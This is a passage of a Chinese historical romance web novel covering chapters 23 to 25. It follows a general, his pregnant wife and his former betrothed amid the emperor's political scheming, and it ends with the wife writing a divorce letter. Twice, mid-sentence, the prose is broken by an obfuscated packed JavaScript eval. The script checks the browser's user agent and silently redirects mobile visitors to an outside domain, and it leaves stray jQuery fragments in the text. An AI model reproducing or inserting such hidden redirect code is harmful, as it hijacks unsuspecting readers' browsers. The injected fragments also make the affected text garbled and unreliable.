闻言,莫盈儿没有急于回答,而是再度小心翼翼地打开了盒子,瞧了一眼里面安静躺着的那枚银钗。想了想,还是盖上了,这一回,却是紧紧地攥在了手里。 “好,我等你。” 莫盈儿笑了出声。 “羡郎,你如今是我唯一的依靠了。” 后来,谢羡风做到了。他以身护主,漂亮地破获了军械一案,功成名就,却也付出了代价。 身中毒镖后,他昏厥了三天三夜。反复无常的梦里,他只想着一件事。 他要带莫盈儿逃出来。 逃出那吃人的莫府,逃去一个能容他们安定下来的世外桃源,来报还莫盈儿对他的救命之恩。 可惜,到了最后,谢羡风也没能兑现他的承诺。 至今想起,仍然是意难平。 车轿颠簸,谢羡风神色幽暗。 他并不知道,此刻将莫盈儿带回家中,是不是一项明智的选择。 可他却无法眼见着她受伤,却对她坐视不理。 方才莫盈儿憔悴的面容,始终在他脑海中挥之不去。 她怎会沦落至此?失散的这三年,她都经历了些什么? 在与慕溶月成婚后的数年间,谢羡风也曾思酌过,该不该去找莫盈儿,还她一个解释。他也曾派多人四处打听过莫盈儿的下落,知道她出逃的最初并没有急于回到白江,而是在周边的镇上逗留了数月,才回到了外祖家避风头。白江城离京城足有千里之遥,她这一走便是三年。 不过,谢羡风身为一国之将,只要他想,他自然有千万种方法能见莫盈儿一面。 只是,他派人去查她的下落,却不为真的要去找她,而只是图个心安,知道她如今过得好与不好。 他已为人夫,早已不知该用何种面目面对莫盈儿。他也很清楚,他们之间,已经不可能再回到从前了。 当年的事,他一直对她有愧。 或许,这么多年过去,她早已放下了吧。 或许,她已经有了新的生活,身边也有了新的人。她并不会喜欢他的打扰。 就这样,他隐忍了三年,克制了三年。 直到这一刻。 莫盈儿就这样突兀地闯入了他的世界。 *** 最终,谢羡风将莫盈儿带回了将军府,安置在了偏院静养。 他寻来了郎中,为莫盈儿看诊。郎中诊了脉,几个女使又为莫盈儿沐浴更衣,检查她是否有外伤。 好在情况并没有想象中那般的糟。 “姑娘的脉象不稳,应该是这些时日受了太多惊吓所致。好在并没有大碍,开几方滋补之药好生调养即可。” 除此之外,她的身上拢共只有几处摩擦的轻伤,至今晕厥不醒,也只是饿得太狠了的缘故。 “多谢大夫。” 谢羡风赏了郎中银钱,便传唤丫鬟煎药去了。 厢房里逐渐地就只剩下了两个人。 谢羡风望着莫盈儿躺在一动不动安静的睡颜,他倏地觉得心口堵得紧。 三年未见,像是生分了许多。 莫盈儿的眉眼,他竟会感到有些生疏了。 谢羡风移开了眼,推门而出,想去院子里散散心。 几簇雪梅开得正盛,这是晚秋时慕溶月亲手栽下的。谢羡风走着走着,不知不觉就走到了碧花轩的廊前。 碧花轩已经没有人了,但丫鬟定时还会回去洒扫整纳。所以,这庭院看上去还和从前没什么分别。 谢羡风推开了门。 他已经很久没有踏足过慕溶月的房间,这里一片死气沉沉,檀木柜上还积了灰。 桌上放着妆奁,半掩的屉格里,依稀可以看见那支被摔碎的金簪。 那金簪,最后还是谢羡风派人又去捡了回来。 就连谢羡风自己也不知道,他为何要把那支簪子捡回来。碎了也就碎了,反正也是不重要的东西。 谢羡风拉开妆奁,正想拿出那支金簪,眼角的余光却忽然瞥见了角落里的另一个头簪。 谢羡风呼吸一紧,指尖僵在了半空。 那是,他曾亲手赠予莫盈儿的定情之物。 23. 第二十三天 北风吹雁,鹅毛雪飞。 碧花轩的院内,炭火盆里散发着微弱的火光,随风而摇曳。 慕溶月在屋内来回踱着步,从口中飘出了阵阵白气。 她许久未曾关心朝政,不想外面竟然发展成了这样。 她这时才想起,原来当初母亲来信叫她关心慕老将军的近况,大抵便是要提醒她这一点。只可惜,她领悟得太晚,加之后来雪灾封了路,外头的信件再也传不进来,才致使她这么晚才得知了这个消息。 如今,她的身边空无一人,唯有依靠自己,沉着冷静去应对这桩噩耗。 也怨不得谢羡风这样久都不曾给她回信,他那头一定也是乱套了。 慕老将军此案是否还有翻案的可能?若他真的被贬为了庶人,日后对谢家、对她又会有什么样的影响? 慕溶月一夜未眠,思索着对策。最终却是绝望地发现,此时此刻,她什么也做不了。 这一场大雪,好似牢笼将她困住。 她唯有等。 等谢羡风的消息,等这场大雪结束。 慕溶月抬首,视线落在了桌上的那件半成品棉袍之上。那棉袍绣到一半,袖口上还有没收尾的针脚。这些时日,她每回忧思过度时,便会静坐下来缝制这件冬衣,进而让自己渐渐冷静下来。 仿佛只要等这件衣服缝完,谢羡风就可以回家了。 后来,还没等她的棉袍裁完,临州城便解了封。另一头,莫府也终于有了消息,却是莫老将军哀恸的死讯。 原来,是莫老将军忍受不了一朝跌落高坛的侮辱,便在被押往边疆的路上,咬舌自尽了。 他死得惨烈,而皇帝为了表达对旧臣的悯恤,便特许他以平民的规制薄葬,遗骸归葬于白江。 而刘彰的马轿也在不日抵达了临江城。 刘彰回府的那天,慕溶月亲自来迎门,披着一件长绒斗篷,伫立在寒风之中,一直到刘彰的身影由远及近,踏雪而来。 刘彰见状,连忙跨步下马,跪在慕溶月跟前请安:“下官见过夫人。” “快起来吧,”慕溶月亲手扶起他,关切地问,“阿羡呢?他怎么样了?” 外面的情势发展得如此之快,有如脱缰失控的野马。 恩师的惨死,对他的打击一定很大。 “夫人,”刘彰解释道,“将军目前仍在白江处理老将军的后事,所以,他就派我先回来探望夫人。” 慕溶月深吸一口气,终是胆战心惊地问出了那个格外在意的问题。 “那……莫姑娘,她如何了?” “莫姑娘……” 刘彰的神色变得犹豫起来。慕溶月攥紧了手指,道:“盈儿也是我的朋友,我只想关心她的近况……告诉我吧。” 刘彰这才开了口。 “莫姑娘先前因屡次为父求情而受牵连,而今被陛下关进了地牢之中,下落不明。” 慕溶月闭上眼,头也昏昏沉沉起来。 一夜之间,莫盈儿从风光无限的女将沦为凄苦的阶下囚。那个曾善意借给她衣服穿的好姑娘,如今却要受着这煎熬的牢狱之灾。自古以来,女人的命运亦如浮萍,总与夫家父家共荣辱。这一刻,慕溶月的心底忽而涌起一股兔死狐悲的哀伤。 “夫人……你还好吗?” 杏雨关心地扶起了慕溶月的手腕,她摇了摇头,却看见余光之中,刘彰眼神闪躲,一番欲言又止。 她便又追问道,“刘彰,你是不是还有话没说完?” “这几月,可还有别的事发生?”杏雨也补充地问了一声,“是关于将军的吗?” “……” 刘彰迟疑许久,想来纸也包不住火,便索性把心一横道:“莫老将军在临死前,曾交代过主君一个遗愿。” 慕溶月呼吸一滞,似是意识到了几分:“什么?” 刘彰沉声道:“他希望主君能在他走后,纳莫姑娘为妾,留在身边,加以照拂。” 话音落下,慕溶月眼前一黑,竟是轰然倒地。 刘彰吓得连忙去扶,几个人才终于抬得慕溶月稳住了重心。她却是膝下发软,紧皱眉头,闭着眼问:“此事……当真吗?” 刘彰颔首应是,想了想,又补充道:“不过,主君还暂未表态,此事尚未有定论——夫人也莫要着急,或许还有转圜的余地!” 见慕溶月神色痛苦,双唇都泛起了白,他更是紧张地安慰道:“夫人,无论怎样,眼下你腹中之子最为要紧,夫人千万要镇静啊!” 慕溶月出了一身的冷汗,忽而感到小腹一阵抽痛,她艰涩地张开双唇,却是说不出话来,几度晕厥过去。 *** 谢羡风留在了白江的灵堂前为师守孝。待头七一过,却被一道圣旨召回了京。 来到殿前时,谢羡风已是形如枯槁,宛若被抽干了魂魄。 皇殿之内,身着龙袍的君王坐于高位,居高临下地望着跪在堂下的谢羡风。见他一动也不动地跪上了许久,皇帝忽而轻声笑了起来。空荡荡的宫殿之内,四面回响着他幽深的笑声。 “谢卿,你可知,朕今日传你来,所为何事?” 谢羡风跪在殿堂中央,佩剑已卸下平放在了膝旁,头也不抬地答。 “臣愚钝。” 嗓音沙哑到有几分变形。 皇帝又是笑了一下,忽而招手要他靠近,故意踩着逆鳞反问—— “朕亲自下令贬斥了你的恩师,你会不会记恨朕?” 谢羡风的瞳仁微张,倒映出皇帝的神情。须臾后,他移开了目光。 “臣不敢对陛下怀有异心。” “好一个未有异心。” 阴晴不定的皇帝,忽然喜形于色地鼓起了掌,还主动提起了那桩陈年旧事,“两年前,你迎娶了我的外甥女溶月,转眼间,她也即将要为你诞下子嗣。” “说起来,你还该称我一声皇舅父。” 这话说得轻松,内里却藏着几分试探。谢羡风没有一瞬的犹豫,便面向皇帝躬身磕了一个闷响的头。 “臣不敢僭越。” 皇帝的眉宇之间松动了几分,唇边肆意地笑了起来:“谢卿不必那么拘束,你没瞧见今日这殿前只有你我二人?也就说明了我如今找你来,是想与你聊家事,而非国事。既是家事,便也不必以君臣之礼相待。你大可以放轻松些。” 谢羡风却维持着弓腰屈膝的姿势,一动不动。 皇帝并未出口阻止,而是继续往下说道。 “我已经听闻了莫老将军临终前的遗愿,他希望你能娶他的独女,那风华正茂的莫小将军。” 话音落下,谢羡风的动作有一霎的僵滞。 “我听闻,你与那莫小将军自幼青梅竹马,情谊深厚。”皇帝顿了顿,又道,“只是,按照传统风俗,家父亡故,子女须为其披麻戴孝,守丧三年……若你真的遂了莫老将军的遗志,即刻迎娶了他的女儿,这等子丑闻传出去,反倒失了礼数,也会成为你们身上的污点,有辱谢莫两家的门楣。” 闻此言,谢羡风的神色染上了几分晦暗。 原来,皇帝大张旗鼓地不惜将他从白江调来,便是为了说这件事。 正如他所言,慕溶月是他亲生的外甥女,更何况,她此时还怀了身孕。他定是不希望外甥女在谢家遭受委屈,沦落到与罪臣之女共事一夫。 谢羡风在心中措好了辞,便开口道:“陛下,臣……” “于是,朕就在想——”可皇帝却倏地打断了他的话,反倒意味深长地看着他的双眼,“倘若,那莫盈儿能摘去了莫氏孤女这个头衔,而变成了白江孔家收养的继女——那她自然也就没有这个顾虑了,对不对?” 面对皇帝这般突如其来的疯言疯语,谢羡风全然惊愕地愣在了原地。 皇帝这是要剥去莫盈儿的身份,将她彻底逐出莫家的宗祖——也彻底断了莫家东山再起的可能。 若皇帝已经动了这般的心思,那么,他如今的这一席话便是在点谢羡风。 谢羡风不知不觉已经惊出了一身冷汗。 “陛下若是对臣有疑,臣愿自断双臂以表忠心!” “朕要你的断臂做什么?”皇帝却是缓缓一笑,“别这么紧张,那莫氏满门如今只剩下一个孤女,早已成不了什么气候,朕又怎会疑心你与她结党谋私?” 一席话,听得谢羡风脊背发凉。 “只是,莫老将毕竟才立下赫赫战功,是我朝的大能臣。许多百姓不识朕的面目,却簇拥他为惊世伟人。”皇帝开始不厌其烦地解释起了背后的缘由,“朕若是下手荼害了这等良将,那岂不成了残暴的昏君?恐要激起民愤。” “所以,朕便许你娶了莫盈儿——这也是朕深思熟虑后的考量。此举益处颇多,一来,你既可以与你的小青梅再续前缘;二来,朕也可以拢得一个抚恤老臣的好名声。三者,那无辜受累的莫盈儿也可以就此免了牢狱之灾,重头生活。如此 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话音落下,谢羡风却犹如五雷轰顶,四肢僵硬,像被钉在了原地。 提及慕溶月,皇帝脸上的笑容都不由得加深了几分:“朕这个外甥女,真是朕的好帮手,为朕解决了好一个心头大患哪。” 字字椎心,杀人入骨。 谢羡风终于回想起来了。 当初,莫老将军刚一定下他与莫盈儿的婚事,皇帝便颁下了一纸婚书,将慕溶月横空赐给了他作为妻子。 原来,皇帝并不是为了做个牵线月老,而是为了削弱他的势力,阻止他与莫老将军暗中勾结。 原来,皇帝早就对他师徒二人有所猜忌。 原来,他的婚姻,不过是君主制衡王权下的一个牺牲品。 原来,他从始至终都只是一颗被操控的棋子,任人鱼肉。 “不过,这对你而言,也未必是件坏事。”皇帝又笑道,“待你真的纳了妾,便是一左一右,两位美人相伴,也算是红袖添香了。” “是吗?”谢羡风的双眸逐渐变得猩红,“……陛下真是运筹帷幄,将臣愚弄于股掌之间。” 皇帝就在这时敛起了笑容,正色起身。 “谢卿,你是个聪明人,你知道该怎么做。” “朕乏了,你也退下吧。” 语毕,他便头也不回地拂袖而去。 谢羡风却一动不动,依旧硬挺地跪在殿堂中心。 一直到谢羡风的身影被抛之耳后逐渐消失不见,太监才终于福身在皇帝耳边询问道:“陛下,需要找侍卫来赶人吗?” “不必了,由得他去,他只是没想明白罢了。”皇帝只是笑道,“就让他在此处好好想想吧。” *** “小姐,不好了……” 听完了杏雨的哭诉,慕溶月险些又是眼前一黑。 她好不容易才缓过了神来,如今得知谢羡风的噩耗,又是脑中一阵昏沉。 他竟然长跪于皇殿之前,久久不起——他知不知道,这若是被有心之人冠以逼宫之嫌,那便是大逆不道,是会招来杀身之祸的死罪! “快为我备轿,”慕溶月听见自己的声音都带上了几分颤抖,“我要去京城……我要去见阿羡!” “夫人,不可啊!”沈惠心派来的孙太医却是紧紧地拦在慕溶月的身前,忧心忡忡地从旁劝导,“夫人的身孕还未满三月,正是胎气易乱之时,如今外面还下着薄雪,四处都不安生,夫人此行危机重重,若是冲撞了腹中胎儿,微臣之罪过就大了呀!” 慕溶月的双眸渐渐地噙了泪,她下了很大的决心,执意起身要走。 “可是……我不能眼睁睁地看着我的夫君出事。” “孙太医,此行我一定要去。至于后果如何,我一人担着。” 闻言,孙太医只好悻悻地垂下了阻拦的手,哀叹不止。 …… 颠簸的车轿之内,杏雨紧紧搂着慕溶月的肩头,一面拢紧了漏风的窗帐,生怕寒风吹到了主子身上。 而慕溶月闭着双眼,腹中传来隐隐阵痛。她脸色发白,却是坚定了心神,强忍着一声也不吭。 此时,她已经顾不上腹中的疼痛了,满心只想叫这车马动作快些。 一定要快一点,再快一点; 一定要在他做出傻事之前,赶到他的身边。 24. 第二十四天 屋外乌云密布,电闪雷鸣。瓢泼大雨顺着檐下滴落,将地上跪着的男人衣衫尽数浸透。 谢羡风仍旧在皇殿之前跪着,直到身形僵直,脊背却依旧挺拔如松。 走道廊下,人来人往,低头耳语,议论纷纷。 又是一道惊怵闷雷,殿前的树叶被雨水抽打晃动,谢羡风神色不变,只是缓缓攥紧了双拳。他双膝已被浸泡在水洼之中,眼下乌青,面堂发黑,看上去分外触目惊心。 慕溶月赶到时,谢羡风已在殿外跪了三天三夜。 他滴水未进,周身裹着一层寒意,好似一件死物。 慕溶月的眼眶瞬地湿润了起来。 她从杏雨手中接过了一把竹伞,三步并作两步地来到了谢羡风的身边。 “夫君,雨下大了,快随我回家吧。” 直到伞檐向他那头倾斜,谢羡风感到身上少了几分湿意,动作有转瞬的僵滞,却依旧不为所动。 慕溶月仍以为,他是因着恩师的亡故而想不开,才长跪于殿前,只为恩师伸冤。 她知晓,他性子向来执拗,不撞南墙不回头。 于是,慕溶月便索性伸手去扶他的肩头,却是止不住地震颤。 “阿羡,你流血了……” 只见谢羡风的身形摇摇欲坠,他的双膝因久跪而血肉模糊,久时地浸泡在那血水之中,连长袍也被染上了几分血色。 慕溶月含泪弓起腰,试图用自己干净的衣袖去为他擦拭血污,却是无济于事,最终渐缓了动作,只有泪水如潮涌下。 “你的手好凉……” 慕溶月小心翼翼地探向谢羡风的手心,与他十指合拢,试图用自己的体温焐热他冰冷的掌心——就像从前无数次那样。 “快回家吧,”慕溶月终是潸然泪下地抱住夫君的肩头,却感觉不到一丝的温热,好似在捂一块寒冰,她泣不成声地央求他,“再跪下去,你会死的。” 到了这时,谢羡风才幽然地开口: “你回去吧。” 是拒之于千里之外的疏离与冷漠。 “可是,我担心你……”慕溶月不禁再度放软了口吻,“你同我一起回去,有什么事,我们从长商议,好吗?” 谢羡风许久都没有回应,忽而冷冷地反问:“还回得去吗?” 话音落下,他暗暗拂开衣袖,将手从慕溶月怀中抽离。 慕溶月感到怀中一空,好似心口被挖去了一个洞,呜呜的冷风灌了进来。 “阿羡,你怎么了?” 谢羡风终于侧过了脸,眸底蕴藏着幽深的寒意。 “当初皇上为你我赐婚之前,我原和莫盈儿有过一段婚约,此事,你可知情?” 慕溶月身形一颤,久久地说不出话来。 “……” “皇上为了瓦解莫氏一族的势力,他利用了你,作为打压我的棋子。”谢羡风又望着她的双眼问,“此事……你可知情?” 说到这里,慕溶月好似忽然反应了过来,她神色慌张地为自己辩驳,“阿羡……你在说什么?” 直到对上他带刺的眼神,她才后知后觉地醒悟,原来,他对她生出了猜忌之意。 他疑心她是受了皇舅的指使,被当做了他人手中的刀子。 她该如何解释? 她百口莫辩。 无论她答是与否,她都像是一块人心上的悬石,随时都会坠落。 他与她之间已然有了隔阂,此后,他每一次再想起这件事,就是又将这隔阂加深了一分。 她在他面前,永远都抬不起头来。 “不是这样的……”慕溶月含泪地垂下了头,嘴里喃喃着重复着,却是如此苍白无力,“阿羡,你知道我从不关心朝堂之事,我嫁给你,是因为我爱你……” 可怎样解释,都好似欲盖弥彰。 下一刻,谢羡风便从怀中拿出了一封皱湿的信笺。 那是慕溶月曾寄给他的家信。 “夫君,见字如面。 卿于白江安否?吾甚念卿,朝暮弗能忘也。 代吾向莫尊师致安。 若有吾可助力之处,尽可告知于吾。” 谢羡风盯着信上的字字句句,那原本包含缱绻思念的问候,此刻却仿佛染上了几分试探之意,化作一个个诱人入局的陷阱。 他第一次对一个人动了真心,以为那人是世间少得的一缕纯白,却终也沾染上了丝丝的污浊。 他怨她被利用,自此她的笑与泪,都变得不再纯粹。 于是,谢羡风伸出手,眼睁睁地看着那封家信坠入了火盆之中,顷刻间,化为灰烬。 “是与不是,又有什么意义。” 慕溶月的心蓦地一坠,唇色也变得惨白。 “若没有你,我已经与盈儿成婚,” 谢羡风的语气带着几分愠怒,竟是脱口而出,“莫家便不至于此。” 轰的一声,如雷贯耳。 慕溶月浑身难以抑制地颤抖起来,她一时失力,竹伞歪斜,斜风骤雨瞬地浸湿了她的衣衫,她的手脚也逐渐变得冰冷。 “你错了……” 慕溶月感到她的喉头哽涩,连胃里都翻涌起了苦水,让她想吐。 “你不该对我说这句话的。” 作为谢家的当家主母,慕溶月挑不出一丝的错处。在谢羡风出征的日子里,她独自将他的家打理得井井有条、措置有方。上到家产打理、权贵往来,下到家奴们的安置与差遣、鸡毛蒜皮,她从未让他操过一分一毫的心。 而作为他的妻子,她更是已然尽心尽力。就连他穿的寝衣,每一件都由她一针一线亲自缝制;她爱他入骨,爱到愿意为他孕育一个孩子。 旁人都可以误解她,质疑她,却唯有他不能。 他不能这样说她。 慕溶月终于醒悟了。 原来,他厌嫌的是她长公主之女的身份,是她这个人。 所以,纵使她再怎样努力,都是没有用的。 那年,他将娶莫氏之女,而她也要另嫁他人。 或许,他们从一开始便是错的。 两年了,她在这个空落落的院子里,日复一日地等着他回来,等着他能多看上她一眼。 到头来,就等到了这么一个结果。 慕溶月忽然感觉很累了。 好累好累,累得再也不想去讨好一块根本捂不化的冰。 慕溶月忽而直直地起了身,转过脸,再也不去看身后之人那冷漠的背影。 她步履蹒跚地登上了车轿,终于在拉上门帘的瞬间,脱力地瘫倒在地。 杏雨的惊呼划破了长空:“夫人,夫人——” *** 那一宿,灯火通明。太医与奴仆几乎踏破了慕溶月的门槛。 碧花轩的雪梅落了一地。 慕溶月淋了雨,发起了高烧,寒症又诱发了心疾,心悸受惊,多症并发……几乎惊动了临州城所有的郎中。 一碗又一碗的保胎药送进了房中,慕溶月疼得脸色惨白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480250|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到体内的一部分正在渐渐剥离。 她用尽全力,却只能抓住那一缕残影,最终眼睁睁地看着它从指缝之中流逝。 杏雨看着主子这般受苦,不禁泪如雨下,也第一次萌生出了放弃的念头。 她多想劝上小姐一句,算了吧,孩子往后还会有的。 可是,她说不出口。 她不是慕溶月,终究不能切身体会到她有多痛。 一直到了后半夜,暖炉中的清烟熄了,慕溶月才虚脱地抬起手来,缓缓地抓住太医的衣袖。 “我的孩子……”她的嗓音嘶哑,“……保住了吗?” 见太医面色欣喜地点头,慕溶月才阂上眼,松出了一口气。 “只是……” 下一瞬,她的心便又提到了嗓子尖儿。 太医跪倒在地请罪:“恕臣无能,臣虽用多味猛药暂且吊住了胎儿的一口气,但终究不能根治其本,这孩子日后出世,恐也会染上先天的缺陷,痴傻或是残疾……” 闻言,慕溶月已是心如枯木,万念俱灰。 太医还在阐释着缘由,慕溶月并不言语,只是默默垂泪。 …… 玉笙居内,烛火摇曳。 谢羡风眉头紧皱,质问地上跪着的奴仆:“情况如何?” 那小厮颤声喊道:“恭喜将军!夫人福泽深厚,勉强保住了胎儿,母子平安。” 谢羡风脸上的阴霾终是消散了几分。他背过身,烛光映在他的灰氅之上,在墙上落下一道很长的影子。 谢羡风忽而抬手,将桌上的赏银扔在了那小厮的眼前。 小厮高兴地收下,又问:“将军可要移步碧花轩,去看一眼夫人么?” 谢羡风沉默不语,心绪复杂。 他此时还不知该如何面对慕溶月。 或许,他们都需要一段时间彼此冷静。 沉默了许久,才道:“你去好生照料她,有情况再来通传。” 小厮顿时就明白了他的意思,跪地道:“奴才明白!” …… “杏雨,拿笔墨来。” 杏雨望着慕溶月艰难地从床榻上支起了身子,不免怜惜道:“小姐,你大病初愈,现在需要的是卧床休息……” 慕溶月却很坚持。 “快去。” 杏雨一时不解,但也只好依顺照做。 慕溶月强撑着虚弱的病体,将宣纸落于桌案,提笔便写下了一行:“解怨释结,更莫相憎;一别两宽,各生欢喜”。 她终于做出了一个艰难的决定。 但是,她不会后悔。 最后,将那信纸封好,递给了杏雨:“杏雨,明日一早,将此书信送去官府。” 杏雨终于领悟过来,惊愕地睁大了眼:“小姐,你这是……” 这是一纸和离书。 慕溶月垂眸,不由得回首起了爱他的这些年……真是让她好生痛苦。 如今,她终于是坚持不下去了。 既然他觉得,是她挡了他的路。 那么,她便放他离开。 做出这个决定很难,不过,却并不觉得遗憾。 她已经尽力做了她能做的一切。 是他不够好,是他配不上她的爱。 既然如此,不如一拍两散,自此分道扬镳。 想及此,慕溶月的眼神也清明了几分。再抬起头时,神色也愈发坚定了。 她微启朱唇,只道。 “我要休夫。” 25. 第二十五天 谢羡风在梦里依稀听到了一缕琴声。 那琴声如幽深江水,哀怨,绵长…… 他睁开眼,面对着空荡荡的天花板,耳畔却是余音未绝。 原来,那不是梦。 谢羡风披上一件外衣,徐徐来到了庭院之外。 清晨之卯时,天刚蒙蒙亮,雨后还弥漫着水雾。碧花轩的凉亭之中,若隐若现地透着一抹纤长的身影。 慕溶月身披一袭狐毛斗篷,端正坐于琴筝前,轻撩筝弦,指尖抑扬顿挫,如泣如诉。她脸色渗着几分苍白,身姿却挺立不倒,好似一副雅丽的画卷。 她弹的是一曲《相思叹》,讲的是夫君出征沙场,妻女临江送别。正是因为知晓这一别便将是永远,此曲调凄然,充满了哀恸之情。 谢羡风不懂乐理,却也能听出琴音的凄婉。 从前,他也听过她弹琴。那时,他留于府中陪伴她,两人日夜形影不离。他在庭院中对月练剑,她便坐在一旁为他拨弦助兴。那时,她的琴声还不似今日这般凄凉。 那时的她,也不似今日这般憔悴。 谢羡风面上有些动容,薄唇微启,终是站在了她的跟前。 “你该多卧床休息。” 他的声音突兀地打断了慕溶月的演奏。她略微停下动作,仰起首,脸上的表情很淡,看不出来有什么情绪。 好似一潭沉寂的死水,一枚石子扔了进去,却也没有掀起任何的波澜。 她只是平静地看着谢羡风,开口说道。 “刚刚那首曲子,就当做是我为将军的送行吧。” 原来,她看出了他将要出门。谢羡风的神色微微一变,“你为何不问我要去哪里?” “因为我知道你要去哪里。”说完,慕溶月又垂下了头,不去理会他,反倒继续弹起了后半曲,“……盈姑娘身陷囹圄,陛下说若你肯娶她回家,便能免除她的牢狱之灾。想必,你心里已经有决断了。” 谢羡风没说话,而是渐渐地皱起了眉头。 慕溶月轻轻一笑,便知道,她说中了。 其实,并不意外。 这么早便急着要出门,猜也可以猜到,他是赶着要去哪里。 她这一笑,谢羡风的心反倒乱了一分。 他原以为,她得知了此事,纵使不会大哭大闹,至少也该有些反应——一些不情愿的反应。 毕竟她是他的妻子。那个昔日能说出“惟愿一生一世一双人,匪石之心,天地可鉴”的人,面对如今这等局面,她为何还笑得出来? 若她真的在意他,会甘愿将他拱手让人么? 这时,他却好像忽然看不懂她了。 “盈姑娘一朝丧父,又被削去了官职,从云端跌进泥里,内心定是悲痛的。” 这时,慕溶月像是看出了谢羡风的心思,忽然又开口补充道,“将军将她娶进门后,也不要忘了对她多加关心,好生照拂。如今世道动乱,女子要想立足并不容易。” 可她越是往下说着,谢羡风的脸色就越是黑如锅底。 “你就这么希望我娶她?” 慕溶月愣怔几许,垂眸只道。 “盈姑娘现在很需要你。” 谢羡风眉头蹙紧,多想脱口问一句“那你呢?你就不需要我了吗”——终是生生将这股冲动忍住,艰涩地别过了头。 可这心烦意乱,却犹如蚂蚁啃噬着他的皮肉。谢羡风终是倏地伸出手,按在了她跳动的琴弦之上,将那乐音戛然而止。 “这样的曲子,往后不要再在我面前弹了。” 话音落下,便遽然转身,大步离去。 慕溶月望着谢羡风行步如风的背影,最终消失在了门口。她也缓缓地收回了手,痴神地望着那早已无人的方向,如有所思。 她对着空气呢喃了起来。 “既是送别曲,从今往后,我便不会再为你弹了。” 话音落下,犹如尘埃归于风中,万籁俱寂。 天终于亮了。 杏雨端着一盏热茶走了出来,慕溶月淡淡地品了一口,问道:“东西都收拾好了吗?” 杏雨颔首道:“小姐,已经可以出发了。” 谢羡风不知道的是,她一宿未能合眼。对着清冷的碧花轩,弹了一夜的琴。 她叫杏雨收拣了行囊;就同他一样,他今日要外出,而她也要走。 她要离开将军府,离开他。 最后,慕溶月起身,回眸看了一眼碧花轩的院落,这个她居住了两载的地方。 门前的那棵梅花树上,还挂着她昔日许下的心愿。 他朝若是同淋雪,此生也算共白头。 往事沉浮,叫人怀缅。万般留恋只一眼,再回头时,她的眸中已写满了淡漠。 *** 谢羡风向皇帝上呈了一封奏折,陈请免去莫氏罪臣之女的身份,保全其一条性命。他不会娶莫氏回家,作为交换,他愿意自请去戍守边疆,为期一年。终被皇帝批允了。 在去接人的路上,谢羡风又绕道去找到了李衡。 “若是将来留在莫盈儿的身边,会让你也受到或多或少的牵连,”他肃穆地问道,“你可还愿意继续追随她?” 李衡噙着泪以尊严起誓:“我愿意为了师姐付出一切!” 谢羡风点了头,算是认可:“你与我一同去接她吧。” 回京之路遥远,谢羡风闭上双眼,在心中默默叹气。 他未能实现恩师的遗愿,只能做到为莫盈儿另寻托付的人家。 若恩师在天有灵,但愿能够谅解他。 …… “多谢你们来救我……” 地牢之中,莫盈儿身着囚衣,早已被折磨得瘦骨嶙峋。她一见到熟悉的友人,瞬时红了眼,抓住牢门便嘶喊了起来。 李衡看得心都要碎了,将她接到了客栈里临时歇脚,见她狼吞虎咽地吃饭喝水,便知她究竟受了多少磨难。 “师姐,你受苦了,你想吃多少都有!从今以后,你在哪儿,我就跟到哪儿……” 谢羡风心中一时五味陈杂,待她吃完,才将一沓钱袋放在了桌上,开口道:“这些钱两足够维持你将来两年的生活。你可有什么计划?” 莫盈儿眼中充满了迷茫。 “眼下,谋生才是最紧要的。”李衡立马提议道,“师姐,我在金淮有一处老宅,若你不介意,我可以拿来帮你开一间铺子,做些小生意,也算能做到自食其力。” 莫盈儿轻叹了一口气,“我现在心里还很乱。容我再想想吧。” 她继而放下了手中咬了一半的馒头,认真看向了谢羡风。 “我很感谢你们今日前来看我。但是……我也听说了那日的事。师兄,你的确太冲动了,若是爹爹还在,也定会责备你的鲁莽。” 话音落下,谢羡风便知道她指的是自己跪在皇殿前三天三夜之事。 “还有,更重要的是……”莫盈儿皱紧眉头,严肃地看向谢羡风,“你着实不该那样猜忌你的妻子,你知不知道,这会伤了她的心。” 谢羡风低头不语。 “当年的事……岂是她一人能决定的?她不过是一个出嫁女子,何德何能,莫府上下百口人的生死皆由她一人牵掣?你这样说她,不过是迁怒。” 说着,莫盈儿的声音也逐渐低哑了起来。 “更何况,当年你我之间的事……就算没有她,也会有其他人。她其实也是无辜的。” 话音落下,房内陷入了久久的死寂之中。 沉默犹如锐利的尖刀,在每一个人心头划刻。 不知过了多久,谢羡风才几不可闻地道了一声。 “……我知道。” 其实,那日大雨,他最后见到她独自在雨中落寞的背影,终是渐渐地冷静了下来。 他说那些话,只是…… 想听到她决然地否认,说她也是受人利用;说如今这样的局面,也并非她的本意。 他只是……想听她亲口对他说一句,她待他好,并不是依从谁的授意,她对他,向来都是真心。 如此一来,她便还能做回他心中的那一缕纯白。 他会让自己渐渐地忘了这回事,他们就还能回到从前。 可是,她最终也没有开口。 她什么也没有说。 她那般的执拗,明明眸中盈满了悲伤,却始终不肯向他低头。 她转身便离开了。一步一步,蹒跚滞缓,在风雨中踯躅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488641|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前行。 她连头也未曾回过。 “你只是过不了自己内心的坎,便施压于你的妻子。可是她又做错了什么呢?她还怀着身孕,只因担心你,便从临州赶来京城看你。”莫盈儿轻叹了一声,“……你该对她好一些的。” 这声轻叹,很快便消融在了风中,没有得到回应。 …… 